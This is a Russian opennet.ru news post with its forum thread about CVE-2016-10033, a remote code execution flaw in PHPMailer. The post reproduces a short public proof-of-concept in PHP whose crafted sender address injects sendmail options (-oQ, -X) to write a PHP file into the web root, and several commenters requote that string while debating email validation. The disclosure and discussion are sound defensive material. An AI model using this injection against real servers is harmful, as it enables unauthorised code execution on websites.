URL: https://www.opennet.ru/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID3
Нить номер: 110033
[ Назад ]

Исходное сообщение
"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."

Отправлено opennews , 27-Дек-16 21:19 
В PHPMailer (https://github.com/PHPMailer/PHPMailer), популярной библиотеке для организации отправки электронный писем из приложений на языке PHP, число пользователей которой оценивается в 9 миллионов, обнаружена (https://legalhackers.com/advisories/PHPMailer-Exploit-Remote...) критическая уязвимость (CVE-2016-10033 (https://security-tracker.debian.org/tracker/CVE-2016-10033)), позволяющая инициировать удаленное выполнение кода без прохождения аутентификации.


Проблема аналогична недавно найденной (https://www.opennet.ru/opennews/art.shtml?num=45643) уязвимости в Roundcube Webmail и также связана с небезопасным использованием PHP-функции mail() совместно с  утилитой sendmail в качестве транспорта по умолчанию. Отсутствие (https://github.com/PHPMailer/PHPMailer/commit/4835657cd639fb...) должной проверки и чистки параметра "Sender", позволяет организовать передачу утилите sendmail произвольных аргументов командной строки, в том числе можно переопределить директорию очереди и файл с логом, что позволяет  организовать запись сообщения в произвольный файл в локальной ФС на сервере с правами под готовыми запускается PHP-приложение.


Например, возможность записи кода в файл /var/www/cache/phpcode.php в качестве отправителя можно указать '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com', что демонстрирует следующий прототип эксплоита (https://legalhackers.com/exploits/CVE-2016-10033/PHPMailer-R...) (опция "-X/var/www/cache/phpcode.php" приведёт к созданию лога /var/www/cache/phpcode.php в который будет записано тело сообщения):

   $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
   $msg_body  = "{?php phpinfo(); ?}";

   require_once('class.phpmailer.php');
   $mail = new PHPMailer();

   $mail->SetFrom($email_from, 'Client Name');

   $address = "customer_feedback@company-X.com";
   $mail->AddAddress($address, "Some User");

   $mail->Subject    = "PHPMailer PoC Exploit CVE-2016-10033";
   $mail->MsgHTML($msg_body);

   if(!$mail->Send()) {
     echo "Mailer Error: " . $mail->ErrorInfo;
   } else {
     echo "Message sent!\n";
   }
    

Проблема устранена в PHPMailer 5.2.18 (https://github.com/PHPMailer/PHPMailer/releases/tag/v5.2.18), все более ранние выпуски подвержены уязвимости. Дистрибутивы пока не выпустили обновления пакетов: Debian (https://security-tracker.debian.org/tracker/CVE-2016-10033), RHEL/CentOS (https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-10033), Fedora (https://bodhi.fedoraproject.org/updates/?releases=F25&type=s...), Ubuntu (https://www.ubuntu.com/usn/), SUSE (https://bugzilla.novell.com/show_bug.cgi?id=CVE-2016-10033), openSUSE (https://lists.opensuse.org/opensuse-security-announce/2016-12/). Проблема проявляется при использовании настроек по умолчанию: отключен safe_mode, а для отправки используется PHP-функция mail() и утилита sendmail.


Уязвимость усугубляется тем, что PHPMailer применяется во многих популярных продуктах для Web, в том числе в WordPress, Drupal, Joomla и сотнях других проектов (https://github.com/search?q=class.phpmailer.php&type=Code) (уязвимы или нет данные системы зависит от того, насколько качественно в них реализованы дополнительные проверки email-адресов перед отправкой сообщений и используются ли настройки PHPMailer по умолчанию).


URL: http://openwall.com/lists/oss-security/2016/12/27/5
Новость: https://www.opennet.ru/opennews/art.shtml?num=45774


Содержание

Сообщения в этом обсуждении
"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 27-Дек-16 21:19 
php головного мозга

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено A.Stahl , 27-Дек-16 21:26 
Зато они не боятся malloc/free и от чего там ещё падают в обморок Явисты-Питонисты?

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Куяврег , 27-Дек-16 21:44 
да они вообще нихрена не боятся. отчаянные люди...

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Alex , 27-Дек-16 23:01 
Xex, malloc/free актуально для С, так что этого стоит бояться в том числе пользователям интерпретатора PHP, тем более что кажется он написан весьма чудаковато, периодически оскаливаясь различным уязвимостями, связанными с неправильным парсингом аргументов и т.п.

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено qsdg , 28-Дек-16 09:06 
Где в Java malloc/free? O_O

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 28-Дек-16 14:59 
> Где в Java malloc/free? O_O

Где, где... Внутри! То, что Вы его в тексте программы не видите, абсолютно не значит, что оно не исполняется.


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено xz , 29-Дек-16 11:25 
> Где, где... Внутри! То, что Вы его в тексте программы не видите,
> абсолютно не значит, что оно не исполняется.

откуда он там возьмется, при живом то GC?


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено stomper , 28-Дек-16 01:08 
> php головного мозга

Не важно, на каком языке ты говоришь, аноНЯшка. Важно насколько правильно и однозначно понимает тебя собеседник.


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 28-Дек-16 16:58 
что php головного мозга?

во первых нужно всегда фильтровать пользовательский ввод данных

$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
var_dump(filter_var($email_from, FILTER_VALIDATE_EMAIL));
выдаст false - и скрипт киди обломается

во вторых - это уязвимость sendmail а не php


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 29-Дек-16 03:26 
Ну для дураков да, но там 4 кейса включая режим "safe mode" и даже это можно обойти с Windows платформы, пример ядру пыхапэ

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 29-Дек-16 03:28 
> во первых нужно всегда фильтровать пользовательский ввод данных

Фильтрацию можно обойти другой фильтрацией.

P.S. Мы не говорим про ваш местечковый юзеркейс в хлеву.


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено burik666 , 27-Дек-16 21:46 
Это тоже самое что и https://www.opennet.ru/opennews/art.shtml?num=45643

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 27-Дек-16 21:50 
В комментарии к прошлой новости я ссылки кидал https://www.opennet.ru/openforum/vsluhforumID3/109851.html#2 на то, что на GitHub полно проектов с подобными уязвимостями.

PHPMailer превзошёл мои ожидания. Использование сторонних типовых библиотек страшное зло, хуже которого только передавать в них непочищенные параметры, полагаясь, что библиотека сама вилидность проверит.

PS. Сейчас понимаю, что был прав, всегда проверяя по [\w\d\_\-\.]+\@[\w\d\-\.]+ не пропуская пробелы и кавычки. Не совсем по RFC, но без почты бухгалтеров и спамеров можно обойтись :-)


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Sw00p_aka_Jerom , 28-Дек-16 02:24 
юзать стороние пхп скрипты да ещё с такими сомнительными функциями как exec, system и тд. - маразм.

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 28-Дек-16 04:53 
Ждем когда эти девы выпилят exec, system и прицепят нормальный интерфейс сборки запросов на выполнения с экранированием для макак

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Sw00p_aka_Jerom , 28-Дек-16 13:41 
Так суть не в выпиливании, а в правильном использовании, а из ваших слов ввходит, что интерфейсы созданы именно для макак

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено KonstantinB , 28-Дек-16 14:10 
Выпиливать возможность прямого системного вызова - это как раз для макак.

А обертку с плейсхолдерами я себе лет 10 назад написал, там писать-то 5 строчек.


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено th3m3 , 27-Дек-16 22:18 
>>WordPress, Drupal и Joomla

Пользователи всякого устаревшего php-хлама - должны страдать.


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 27-Дек-16 22:29 
Не пользователи, а заказчики. WP еще долго будет царствовать в клозетах и головах. Ибо "дёшева".

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 28-Дек-16 07:12 
Drupal с многомиллионными инвестициями и огромным сообществом крутых разрабов смотрит и смеется. Ты бы свой не хлам показал, эксперт.

Чего не скажешь о WP, там вообще ужас, один в wp-login.php чего стоит. Такая то помойка кода без единого стиля кода и php код вперемешку с js и html.


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 28-Дек-16 17:08 
сразу виден икспертный специалист в этом деле. который написал целых пару сайтов на WordPress - скачивав и устанавив пачку гов-ноплагинов.

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено YCA4 , 29-Дек-16 09:06 
Это лишь файл wp-login.php из ядра.

https://github.com/WordPress/WordPress/blob/master/wp-login....
https://github.com/WordPress/WordPress/blob/master/wp-login....
https://github.com/WordPress/WordPress/blob/master/wp-login....
https://github.com/WordPress/WordPress/blob/master/wp-login....
https://github.com/WordPress/WordPress/blob/master/wp-login....

И дальше. Весь файл просто помойка и говнокод.


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено th3m3 , 07-Янв-17 14:22 
Столько денег вбухали в Drupal, а он как был УГ на php, так и остался. Могли бы уж переписать на чём-то более адекватном.

Wordpress - тоже чудо УГ-кодинга, тоже php. Тоже нафиг.


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 28-Дек-16 17:03 
клоун - посмотри требования на https://wordpress.org/about/requirements/
php 7 или выше

обновил ПО на серваках или
поменял отправку на через smtp и нет проблем.


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено th3m3 , 07-Янв-17 14:24 
А ещё можно сразу использовать что-то более адекватное и современное.

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Michael Shigorin , 27-Дек-16 22:39 
К слову о статической линковке...

PS: к TYPO3 кто-то лет десять тому сделал плагин с этой штукой и через годик забросил, по счастью: https://typo3.org/extensions/repository/view/bb_phpmailer


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено uldus , 27-Дек-16 22:56 
Этим не ограничится, PHPMailer жуткий комбайн в котором встроен SMTP-сервер, система массовой рассылки, NTLM, CRAM-MD5, XOAUTH2, TLS, DKIM и S/MIME.

И что-то мне кажется, что и эту дыру не до конца поправили. Там ниже по коду при пустом $this->Sender выставляется $smtp_from = $this->From без обёртки $this->validateAddress(), которую добавили для $this->Sender.


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 28-Дек-16 00:02 
Marcus Bointon & PHP - sucks

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Gemorroj , 28-Дек-16 00:15 
хорошая либа, кстати.
а по поводу уязвимости - таких вагон где угодно. просто в силу популярности проектов на php о них громче новости.

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 28-Дек-16 10:00 
Пути пхпистов неисповедимы, да.

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено KonstantinB , 28-Дек-16 07:20 
Еще надо найти жертву с настоящим сендмейлом, что непросто. Все известные мне mta (кроме самого sendmail) игнорируют -X (и правильно делают).

Или придумать другой способ эксплуатации, но лично мне ничего в голову не приходит.


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено KonstantinB , 28-Дек-16 07:27 
Кстати, в php-шном же SwiftMailer аналогичную уязвимость исправили 2.5 года назад.

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 28-Дек-16 08:20 
> аналогичную уязвимость исправили 2.5 года назад

Исправили?! Напишут новую!!!


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено KonstantinB , 28-Дек-16 08:32 
Я к тому, что это, похоже, общее уязвимое место - и не только для php. Да и правда, легко ошибиться, забыв о том, что email, прошедший валидацию, вполне может содержать валидную quoted string - это необычно, и таких адресов никто почти и не видел, но, тем не менее, они валидны.

Так что имеет смысл проверить те библиотеки, которыми вы пользуетесь.


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено KonstantinB , 29-Дек-16 07:49 
Хех. Написали. Точнее, в тот раз исправили аналогичную, но в sendmail-транспорте, а в mail-транспорте-то и не поправили :-)

https://legalhackers.com/advisories/SwiftMailer-Exploit-Remo...


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 28-Дек-16 08:40 
Это в каком проекте нет валидации email ???
Или это валидный email ???

"Attacker \" -Param2 -Param3"@test.com


Не видел ни одного проекта на php без валидации email  - проблема из пальца высосана...


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 28-Дек-16 08:53 
Это валидный EMail. RFC допускает использование пробелов при выделении кавычками.

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено KonstantinB , 28-Дек-16 10:14 
Ага. Можно сделать себе емейл типа "(),:; \"<>["@domain.tld и троллить всех багрепортами. :-)

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 28-Дек-16 17:11 
с какого перепугу валидный?

$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
var_dump(filter_var($email_from, FILTER_VALIDATE_EMAIL));
выдаст false


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним84701 , 28-Дек-16 17:28 
> с какого перепугу валидный?
> $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
> var_dump(filter_var($email_from, FILTER_VALIDATE_EMAIL));
> выдаст false

С такого, что валидность обычно таки определяетcя "общепризнанным" RFC, а не конкретной реализацией, не имеющей к этому самому RFC никакого отношения.

Да и в доке вроде как говорится о
http://php.net/manual/en/filter.filters.validate.php
> http://php.net/manual/en/filter.filters.validate.php
> his validates e-mail addresses against the syntax in RFC 822, -->with the exceptions<-- that comments and whitespace folding and dotless domain names are not supported.


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Sylvia , 28-Дек-16 09:11 
>Уязвимости присвоен наивысший (Highly Critical) уровень опасности.

для WordPress приоритет на тикет поставил абсолютно левый человек зарегистрировавшийся только вчера. Не надо выдавать это за официальную позицию пожалуйста.


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено arnold , 28-Дек-16 12:28 
Сссылка "сотнях других проектов" ничего не находит.

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено google , 28-Дек-16 14:20 
потому что никто не пользуется этим овном

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Fantomas , 28-Дек-16 12:41 
Да забейте на эту уязвимость, исправят - обновим.

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Square1 , 28-Дек-16 13:13 
проверил на нескольких платформах (включая джумлу) - ругается на невалидный эмейл.

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 28-Дек-16 13:51 
брейкинньюс просто, опции -X сто лет в обед, пруф сейчас не найду, но этим хекали ещё очень давно, после чего собственно нормальные люди вырубили -X

что касается phpmailer, то он используется как либа для отправки, и ей плевать какой емейл передают(не хорошо конечно, но логично), если приложение не может нормально отвалидировать email(пробелы/бекслеши -_-) и юзает phpmailer то уж извините
желтизна, большинство cms просто не пропустят такой мыльник


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 28-Дек-16 18:58 
> может нормально отвалидировать email(пробелы/бекслеши -_-) и юзает phpmailer то уж извините

Во-первых, phpmailer сам предоставляет средства валидации email (PHPMailer::validateAddress()), которые и используются в CMS.

Во-вторых, пробелы и кавычки входят в число допустимых символов в соответствии с RFC 3696, т.е. "test with spaces"@email.com считается корректным.


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 28-Дек-16 21:57 
вот из за таких как ты, которые реальность от жопы отличить не могут, такое и случается
когда спецификация почты была создана? бл**ь как фреймворки на js дак вы каждый день пишите, а то что тут 20 лет прошло, головой думать учиться учиться

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 29-Дек-16 08:07 
> когда спецификация почты была создана?

https://tools.ietf.org/html/rfc3696 создан в 2004 году и как раз отражает современные реалии. То что вы на стандарты предлагайте плевать в угоду вашему личному мировосприятию чести вам не делает.


"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 29-Дек-16 00:41 
Там полный кабздец с самим php
https://gist.github.com/Zenexer/40d02da5e07f151adeaeeaa11af9...
https://github.com/PHPMailer/PHPMailer/pull/930

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 29-Дек-16 08:15 
Ответте, плиз, как обновить phpmailer и проверить установленную версию. Саппорт говорит, что это 10 долларов в час будет стоить

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено Аноним , 29-Дек-16 08:54 
На подходе еще 2 CVE готовь еще денег)